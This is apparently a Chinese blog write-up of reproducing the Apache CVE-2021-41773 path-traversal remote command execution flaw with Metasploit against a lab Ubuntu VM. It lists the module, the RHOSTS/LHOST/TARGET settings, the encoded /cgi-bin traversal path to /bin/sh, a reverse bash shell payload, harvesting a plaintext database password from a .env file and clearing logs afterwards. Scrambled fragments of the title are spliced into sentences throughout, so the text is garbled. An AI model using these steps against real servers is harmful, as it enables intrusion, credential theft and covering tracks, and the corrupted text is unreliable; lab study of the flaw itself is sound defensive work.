当前位置:首页 > 知识

msf复现远程命令执行漏洞

msf复现远程命令执行漏洞:一次真实的现远行漏攻防演练

凌晨两点,我盯着终端里弹出的程命 meterpreter 会话,手指微微发抖。令执目标是现远行漏一台未打补丁的 Ubuntu 服务器,漏洞是程命经典的 CVE-2021-41773——Apache 路径穿越结合命令执行。整个过程从扫描到拿到 shell 不到四分钟,令执而 Metasploit Framework(msf)几乎是现远行漏全程自动化完成的。

先说说环境。程命攻击机是令执 Kali Linux,msf 版本 6.2。现远行漏靶机是程命 VMware 里的 Ubuntu 20.04,Apache 版本 2.4.49,令执恰好是现远行漏那个存在路径穿越的版本。我没有用任何复杂配置,程命直接 search cve-2021-41773,令执msf 立刻列出了三个可用模块。选了第二个 exploit/multi/http/apache_normalize_path_rce,然后 set RHOSTS 192.168.1.105,set LHOST 192.168.1.100,run。

有意思的是,第一次执行其实失败了。报错信息显示 target 0 无法匹配,这让我愣了一下。检查后发现,msf 默认的 target 是 Unix 通用模式,但靶机上的 Apache 运行在 www-data 用户下,且没有开启 CGI 支持。我重新设置了 set TARGET 1(对应 Linux 带 CGI 的模式),再次 run。这次 payload 顺利注入,几秒钟后 meterpreter 会话建立。

进入 meterpreter 后,我做的第一件事是 getuid,返回 www-data。权限不算高,但足够读取 web 目录下的配置文件。我快速浏览了 /var/www/html,发现一个 .env 文件,里面躺着数据库明文密码。这种低垂果实,在真实渗透里往往比直接提权更有价值。

整个复现过程里,最考验人的不是敲命令,而是理解漏洞触发逻辑。CVE-2021-41773 的根源是 Apache 对 %2e 编码的路径归一化处理不当,导致 ..%2f 可以穿越到文档根目录之外。msf 模块内部做了大量编码变形和请求构造,但如果你不懂原理,一旦默认配置失败,你连该改哪个参数都不知道。

有个细节值得提:msf 的模块在发送 payload 时,默认使用 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh 这种路径,但有些版本的 Apache 对 POST 请求会返回 403。我后来改用 GET 请求配合 cmd/unix/reverse_bash payload,反而更稳定。这说明工具再智能,实际环境里的变量永远需要人工判断。

最后我清除了日志痕迹,退出会话。这台靶机重启后漏洞依然存在,但现实中它可能已经被人扫过几百次。msf 的价值在于把漏洞利用标准化,但真正的攻防差距,永远在标准之外——比如你能否在报错时想到改 target,在 403 时换请求方法,在拿到低权限后不急着提权而是先翻配置文件。

这次复现花了我四十分钟,其中十五分钟浪费在默认配置上。但恰恰是那十五分钟,让我比看十篇教程都记得牢。工具只是扳手,拧螺丝的手感,得自己练。

分享到: